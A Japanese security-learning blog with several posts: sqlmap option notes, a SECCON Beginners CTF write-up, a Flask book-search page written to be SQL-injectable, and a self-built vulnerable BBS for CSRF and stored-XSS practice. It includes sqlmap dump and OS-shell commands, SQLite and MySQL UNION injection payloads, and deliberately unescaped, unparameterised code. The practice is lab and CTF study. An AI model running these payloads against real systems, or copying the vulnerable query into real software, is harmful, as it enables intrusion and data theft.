akkietech’s diary

セキュリティ関連メインの自分用メモ書き。twitter: @akkietech

sqlmap

オプション整理用

-u URL

--proxy
プロキシを設定、BurpSuiteとかに使えそう

--batch
全部質問をデフォルトの回答

--forms
Webページ内のフォーム要素も調査対象に入れる

--dbms=mysql
バックエンドのDBを指定()
-dbms="Microsoft SQL Server"とかも

--thread=5
スレッド数を指定

--crawl=1
クロールする深さ(1はそのパスだけ、2以降がリンクをたどってくれる)

-p user
検査するパラメータをuserのみ指定

-–form -–batchの相性は良い

--batch --answers="keep testing=Y,sitemap=Y,skip further tests=N"
質問時の回答を指定

--crawl-exclude="logout"
crawl時に除外するページを指定

--dbs
データベース名を取得

--tables
テーブル名を取得

--columns
カラム名を取得

-D db_name -T table_name --dump
各指定してデータをダンプ

Linuxサーバのシェル取得:
sqlmap -u http://127.0.0.1/login.php?id=1 –os-shell

Windowsサーバのシェル取得
For a Windows server:
sqlmap -u http://127.0.0.1/login.php?id=1 –os-cmd <cmd>

================
参考になった順
https://www.prodefence.org/important-sqlmap-commands-2/
https://edricteo.com/sqlmap-commands/

読んでないけど参考
https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF

5/26 SECCON CTF Beginnersに初参加したからWriteup書きたい

Reversing(バイナリ) 2 /4
Crypt(暗号) 1 / 4
Web 2 / 5
Mics(雑問) 3 / 4
Pwnable 0 / 4 ←ムズすぎ…

計 792 points

解けた問題を下記に列挙
※たまに載せてるスクリプトはまじで見せれるもの代物ではないですが、承知の上です。

■Rversing
・Seccommpare
peda付のgdbでごり押し
gdbでやるときは
gdb-peda$ start AAA
みたいに適当に引数付けて、あとはnexti連打してたらflagがスタックに表れてきたのでゲット

・Leakage
これもgdb様様
先ほどと同様に適当に引数付けて実行してみる

途中で文字列の長さを比較するような処理があった

   0x4005fa <is_correct+19>:	call   0x4004d0 <strlen@plt>
   0x4005ff <is_correct+24>:	cmp    rax,0x22
   0x400603 <is_correct+28>:	je     0x40060c <is_correct+37>
   0x400605 <is_correct+30>:	mov    eax,0x0
   0x40060a <is_correct+35>:	jmp    0x40065e <is_correct+119>

これで文字列の長さ(0x22=34)が一致しないと処理が終了してしまうようなので、
cmpでブレイクポイントを設定して、raxに0x22を入れるという無理やりな方法でゴリ押し

gdb-peda$ set $rax = 0x22
gdb-peda$ nexti

という感じで、処理が終わらないようにレジスタの値を変えて進めると、

   0x400629 <is_correct+66>:	mov    edi,eax
=> 0x40062b <is_correct+68>:	call   0x4006d0 <convert>
   0x400630 <is_correct+73>:	mov    BYTE PTR [rbp-0x5],al
   0x400633 <is_correct+76>:	mov    eax,DWORD PTR [rbp-0x4]
   0x400636 <is_correct+79>:	movsxd rdx,eax

と気になる命令が。
このconvertが終わるとraxに「c」の文字列が入っていた

という具合に処理が終わらないように、根気強くレジスタの値を変えてながらこのあたりの作業を繰り返していくとflagがゲットできた

※多分プログラムかけば地道にレジスタ変える作業しなくて良かったと思うけど書こうとするよりこっちの方が早かった気がした。勉強する必要あるな。


■Crypt
・So Tired
Base64で変換した段階でバイナリっぽい出力されて最初全く分からなかった。

試しにBase64の出力を別ファイルに書き出してfileコマンドで見てみると
zlib compressed data
と出た。なんじゃこりゃ

調べてみると圧縮されたファイルらしく、解凍もできるみたい

ためしにpythonでdecompressしてみるとまた再びBase64らしき文字列が現れた!笑
なるほど..そういうことか

# -*- coding: utf-8 -*- 
import base64, zlib

f = open("encrypted.txt", "r")
data = f.read()

dec_data = data.decode("base64")
decomp = zlib.decompress(dec_data)

for i in range(499):

	dec_data = decomp.decode("base64")
	decomp = zlib.decompress(dec_data)

print decomp

結局Base64とzlibの圧縮が500回繰り返されたものだった。
解けたとき超気持ちかったこれ。


■Web
・Ramen
ちょうど自作の攻撃用Webページで練習してたやつとほぼ一緒のやつが出た

'or 1=1 #
でSQLiありそうだったので

' UNION SELECT table_name,1 FROM information_schema.tables #
スキーマのやつ使って存在するテーブルを調査

' UNION SELECT COLUMN_NAME, 1 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'flag #」
目的のテーブル名を指定し、保持しているカラムを調査

' UNION SELECT flag, 1 FROM flag #
でげっと

・Katusdon
クーポンの前半部分をbase64でデコードするだけ


■Mics
4問中3問クリアというまさかの稼ぎ頭ww

・welcome
これは、まぁ、うん

・container
ほんまにこれ!!めっちゃ嬉しくて叫んだ!笑
最初この問題「あ、むりだ」て思ったけど、どうも画像ファイルが含まれてるのは分かるもんだから諦めたくなかった

root@kali:~/Downloads/mics# cat e35860e49ca3fa367e456207ebc9ff2f_containers | hexdump | head -10
0000000 4f43 544e 4941 454e 2e52 4946 454c 2e30
0000010 5089 474e 0a0d 0a1a 0000 0d00 4849 5244
0000020 0000 8000 0000 8000 0608 0000 c300 613e
0000030 00cb 0000 7301 4752 0042 ceae e91c 0000
0000040 0400 4167 414d 0000 8fb1 fc0b 0561 0000
0000050 0900 4870 7359 0000 c30e 0000 c30e c701
0000060 a86f 0064 0200 4961 4144 7854 ed5e 51d2
0000070 e38a 1040 d104 d13d 675e b50f f687 1fd0
0000080 6106 6c6a 2d4b 955b f11d 7f20 e825 3f8a
0000090 a137 0019 019c 19c0 9c00 c001 0019 019c

2行目の始めの4バイトが「5089 474e」
CTFチャレンジブックを思い出し、これ画像の拡張子じゃね?ってなった

root@kali:~/Downloads/mics# strings e35860e49ca3fa367e456207ebc9ff2f_containers | head -15
CONTAINER.FILE0.
IHDR
sRGB
gAMA
	pHYs
aIDATx^
ajlK-[
0TG~5
;-M\
IEND
FILE1.
IHDR
sRGB
gAMA
	pHYs
...

stringsコマンドでも、sRGBあるあたりとかどうも画像っぽい
そして38ファイルあるの予測

最初は地道にmacのhex finderで「5089 474e」ごとにコピーしてはpngフィイルとして保存する、というまた地道を繰り返していた
やりながら「いや、これはスクリプト組めるだろ!」ってなって作ったのがこれ

f = open("e35860e49ca3fa367e456207ebc9ff2f_containers", "rb")
data = f.read()
split_data = data.split("FILE")
f.close()

for i in range(38):
    f = open (str(i+1)+"_data.png", "w")
    if i+1 < 10:
        f.write(split_data[i+1][2:])
    else:
        f.write(split_data[i+1][3:]
    f.close()

各「5089 474e」の前に「FILE」って文字列があったからそれを区切り文字にして、あとは各要素をpngファイルとして書き出すというもの
スクリプト回したら、ザーッって画像ファイルが出てきて「わーーーー」ってなってさっきのmacでの作業はなんだったのだとなった。
でも10個目の画像が上手くいってなかったけど、それはmacで復元済みだったので、まぁよしとしよう。


■Dump
解けた時これも声出た

最初はpcapファイルをwiresharkで読み込んでhtmlファイルを取得
wiresharkがちょっと止まってしまうくらいのデータのデカさ

中身とコマンドの内容から、どうやらなんらかのflagなるファイルをhexdumpで8進数に、かつ3桁区切りで出力しているっぽい
そしてやはりかなりのサイズ


hexdumpあんまり知らないからxxdとかで復号できないかなと思ってもできなくて、これもスクリプト書いた

f = open("ctf/webshell", "r")
lines = f.readlines()
byte_arr = list()

for line in lines:
	split_line = line.split()
	for each_byte in split_line:
		byte_arr.append(each_byte)
f.close()

f = open("ctf/flag", "wb")
for d in byte_arr:
	f.write(chr(int(d, 8)))
f.close()

言っちゃえば、8進数をアスキー文字に変換してflagファイルに書き込んでいくやつ。
出力されたのが圧縮ファイルだったので解答すると桜の画像とともにflagげとー。


まとめ
ざっと書いたから間違えてるかもしれない。
3時間しか寝なかったけど、大健闘だったと思う。
頭抱える時間多かったけど、振り返るとすごく楽しかった。
時間の制限的に、全部の問題見れたわけではなかったけど

Makbookをairからproに買い換えたけど....

ちょっと失敗談なので、この記事で少しでも参考になる人がいればと思う

 

Macook proを買った

ただ整備品で2016 Lateモデル

 

商品到着して起動後に、ちょっときになることがあったので、

OSを再インストールしようと試みた。

 

ただ、初期起動の段階で「FileVault」を有効にしていた

 

「FileVault」

 

これが失敗の元だったとしか思えない

 

はじめにFileVaultを有効にしてしまったせいで、まずMajoveへのアップデートができなかった

しかもFileVaultによる暗号化が完了するのもかなり時間がかかりそうだった。

 

なのでディスクユーティリティでディスクの初期化を実施した。

 

そしてOSを再インストールしようとしたんだが、これがめちゃくちゃ遅い

しかも初期設定画面のWifi設定の画面から次のメッセージが出て進まなくなる

 

「お使いのMacには重要なソフトウェア・アップデートが必要ですが、 このアップデートのインストール中にエラーが起きました。 お使いのMacは、このアップデートをインストールするまでは使用できません。」

 

これでぐぐると似たようなことが起きた人のブログがあったが、

結局夜勤明け帰宅から約7時間後、自己解決はできなかった

 

結局 Appleの修理に出すことにした

本当に悔やまれる

AppleMacも悪く無い、ただただ自分のミス

ITに勤めている人が起こすミスとは思えないな笑

 

なので

・ 初期設定の段階で、FileVaultを有効にするべきではなかった

・FileVaultの暗号化が完了していないのに、フォーマットするべきではなかった

 

結論:

FileVault嫌い

4/28 XMLHttpRequest、CORS

セキスペの試験も終わったことなので、CTF学習と同時進行で徳丸本も読み進める
そのためのメモ

XMLHttpRequestとは
webサーバから受け取ったwebページから、javascriptなどのブラウザ搭載のスクリプト言語からさらに送信されるHTTPリクエスト、もしくはその機能、API

CORS(Cross-Origin Resource Sharing)とは
異なるサイト間(FQDN間)でデータをやりとりするための仕様
異なるオリジンとのデータ交換が可能になる

プリフライトリクエストとは
生成元をまたいだリクエストを行う前に、そのリクエストが受け入れられるかどうかを事前にチェックする。
特定のメソッド以外を使用したり、特定のヘッダ以外のヘッダを送信しようとする際
ブラウザからAPIサーバにプリフライトリクエストがOPTIONメソッドで送信される

サーバはそのヘッダに応答するためのレスポンスヘッダを用意する必要がある

てか
思いっきりセキスペ2019春の午後Iの設問1に出ていた...
試験当日までに徳丸本をここまで進めておけば...

4/27 CTF -バイナリ解析-

5/25、 26のSECCON Beginners CTF出ることにしたので、
「セキュリティコンテストチャレンジブック」を買った。

とりあえず第1章から進めたので、メモ

※バイナリ解析の章では、「美しき策謀」「コンピュータハイジャッキング」を読んでいたのがすごく役に立っている


■表層解析
使用するコマンド
file

strings
strings -n [文字数] => [文字数]以上の文字列のみを出力

動的解析で使用するコマンド
strace => システムコールの呼び出しを追跡
ltrace => ライブラリ関数の呼び出しを追跡

straceの主なオプション

  • p [pid] すでに実行されているプロセスのをトレースする
  • e [システムコール] 出力するシステームコールを指定する
  • f 子プロセスも含めてトレースする
  • c なんか統計情報を表示


レジスタについて復習

eip 次の命令が格納されているアドレス

esp
・現在スタックが参照しているアドレス
・現在のスタックフレームのトップアドレス

ebp
・実行中関数のスタックの底(ベース)のアドレス
・現在のスタックフレームの底のアドレス

プロローグ
push ebp
mov ebp, esp
関数呼び出し後に、呼び出し元のベースポインタを保存する命令(push ebp)と、関数呼び出し時に生成されるスタックフレームのベースポインタ保存(mov ebp, esp)をプロローグと言うらしい

エピローグ
mov esp, ebp
pop ebp
関数の最後に呼び出し元関数に戻るために、スタックポインタに現在の関数のベースポインタを保存(mov esp, ebp)し、呼び出し元のベースポインタを取り出す(pop ebp)流れをエピローグと言うらし


デバッガでの解析

・とりあえず関数名でブレイクポイント設定

(gdb) b main

・nextiで1命令ごとに進める

(gdb) nexti

・現在のレジスタ値を確認(i r => info registersの省略形)

(gdb) i r
rax            0x555555555178      93824992235896
rbx            0x0                 0
rcx            0x7ffff7fa5718      140737353766680
rdx            0x7fffffffe1f8      140737488347640
rsi            0x5                 5
rdi            0x3                 3
rbp            0x7fffffffe0e0      0x7fffffffe0e0
rsp            0x7fffffffe0e0      0x7fffffffe0e0
-省略-

・スタックポインタから64バイト分を表示

(gdb) x/16wx $rsp
0x7fffffffe0e0:  0xffffe100	 0x00007fff	0x5555518f	0x00005555
0x7fffffffe0f0:	  0xffffe1e0	 0x00007fff	0x00000000	0x00000000
0x7fffffffe100:	  0x555551c0	 0x00005555	0xf7e0e09b	0x00007fff
0x7fffffffe110:	  0x00000000	 0x00000000	0xffffe1e8	0x00007fff

・アドレスが指す文字列をチェックしたい

(gdb) p/s [アドレス]


メモ
exeファイルの解析とかするとなると、windows環境も同時進行で必要??
てことはやっぱりmacbook proがいるんじゃね?

2/28 SQLi用蔵書検索サイト

使っているのはflaskとsqlite3

SQLインジェクションが可能な環境を用意
とりあえずSQLiの脆弱性を持つWebページとして
よく例に取り上げられるのが蔵書検索ページ

ということでflaskで手作り蔵書検索ページを作成
名前や著者名で絞れば該当の書物名のみが表示される
かなりあらいけどこんな感じ

@bp.route("/search_book", methods=('GET', 'POST'))
def search_book():
	db = get_db()
	if request.method == 'POST':
		auth_name = request.form['auth_name']
		book_name = request.form['book_name']

		if auth_name == "" and book_name == "":
			return redirect(url_for('bp.search_book'))
		elif auth_name != "" and book_name == "":
			book_info = db.execute('select * from book_info where auth_name = "%s"'%(auth_name))
		elif book_name != "" and auth_name == "":
			book_info = db.execute('select * from book_info where book_name = ?', (book_name,))
		elif book_name != "" and auth_name != "":
			book_info = db.execute('select * from book_info where book_name = ? and auth_name = ?',
			(book_name, auth_name,))
		return render_template('search_book.html', book_name=book_name, auth_name=auth_name, book_info=book_info)
		
	book_info = db.execute('SELECT * from book_info')
	return render_template('search_book.html', book_info=book_info)

そしてSQLiを可能にするかどうかのミソは「プレースホルダ」!

プレースホルダ無し(SQLi脆弱性を持つ)

book_info = db.execute('select * from book_info where auth_name = "%s"'%(auth_name))

プレースホルダを使用(SQLi脆弱性を軽減)

book_info = db.execute('select * from book_info where book_name = ?', (book_name,))

「?」がプレースホルダにあたるらしい
詳しいことはまた別の機会に調べる

SQLインジェクション実践(SQLite3編)
SQLite3向けSQLi用参考サイト
https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf

SOCでよく見るSQLiは
MySQLで使われる「information_schema.tables」を使ってテーブル名の取得を試みたりするもの

SQLiteでも似たようなのがあったので検索フォームで下記文字列を入れてみた

・テーブル名を取得

"or 1=1 union SELECT 1,tbl_name,3,4,5 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_% --

カラム名を取得

"or 1=1 union SELECT 1,sql,3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'

任意のカラムからデータを取得

"or 1=1 union SELECT 1,2,user,4,5 from 'table_name'

なのでSQLite3でのSQLiで重要なのは
sqlite_maseterテーブルを使うこと
・tbl_nameでテーブル名取得
sqlカラム名取得

この辺をおさえておけばいいのかな
実際、1つのデータベースファイルに複数のテーブル入れておいて
蔵書検索ページから上記SQLiを試してみたら
全然関係ないログイン用ユーザ情報の取得に成功した

■まとめ
とりあえずSQLインジェクションの脆弱ページが完成したのと
SQLiteで典型的なSQLインジェクション実践できたのでよかった

2/26 脆弱BBSを使って、CSRFとXSSを実践

■動機
簡単に言えばXSSCSRFを本格的に実践してみたくなった


CSRFが分からなかった
SOCをやっていながら、「CSRFを説明して」と聞かれたら
完璧どころかおおまかも説明できる自信がなかった

まず実践するにあたり復習から始めた
下記がすごく参考になった
https://qiita.com/sagami1991/items/23f72ab4e6552221188a

CSRF攻撃の内容として、リンクを踏むことで
攻撃側が用意したページに飛ばされ、スクリプトが動作するなどして
標的Webページに意図せぬ処理をさせるというもの


CSRFXSSの違いとは
クロスサイトリクエストフォージェリー(CSRF)
クロスサイトスクリプティング(XSS)

似ているようで全く違う

CSRFはあくまで、標的Webページでの意図せぬ
・ログイン情報変更だったり
掲示板への投稿だったり

と意図しない処理が行われるもの

一方でXSSは(多分だけど)、javascriptを使用して
cookie情報の窃取だったり
・Webコンテンツの改ざんだったり

難しんんだが、XSSの方が手法として様々なことが行える印象がある


■実践してみた
・脆弱な簡易掲示
以前にflaskで作成したWebページを改良し
CSRFXSS脆弱性を持つ簡易掲示板を作成した

ただflaskは、デフォルトでエスケープ処理が施されるため、
あえてエスケープ処理を外す必要があった

{% autoescape false%}
{{ [出力する内容] ))
{% endautoescape %}

こんな感じで{% autoescape false%}を明示する必要がある

CSRF攻撃用のWebサイト
そして上記リンクを参考にし、攻撃用サーバにアクセスするだけで
BBSに投稿されるというものを用意した

やってみた感想
CSRFできた!ほんとに直接BBSにアクセスしていないのに
 攻撃側で用意した内容が投稿されていた

XSSに関しては、今回は標的が掲示板なので
 格納型XSSを実践することにした。
 確かに下のスクリプトを、エスケープ無効にした掲示板に投稿すると
 アクセスするたびに警告が出るようになった

<script>alert('xss')</script>


■対策
各攻撃に対する基本的な対策はこんな感じらしい

CSRF
トークンを生成し、session内のトークンとformのhiddenで送られるトークンが一致しているか確認
一致している場合のみ正規の投稿なのでリクエストを受け付ける
一致していなければCSRFの疑いがある

XSS
出力内容をエスケープ処理させるのが良いらしい
phpであればhtmlspecialchars的なものを使うのかと

■まとめ
CSRFXSSを実際に見て触ることでどういった攻撃なのか
より理解することができた
というかこの2つは特にセキュリティ初心者にとっては分かりにくい攻撃なので
見て実践してもらうのが一番良いと思う

Web開発をしている人たちにとってこのあたりの理解は重要っぽいが
自分のようなSOCをやっている人にとってもこのあたりを
理解できることでセキュリティスペシャリストの階段を1つ登れるのかな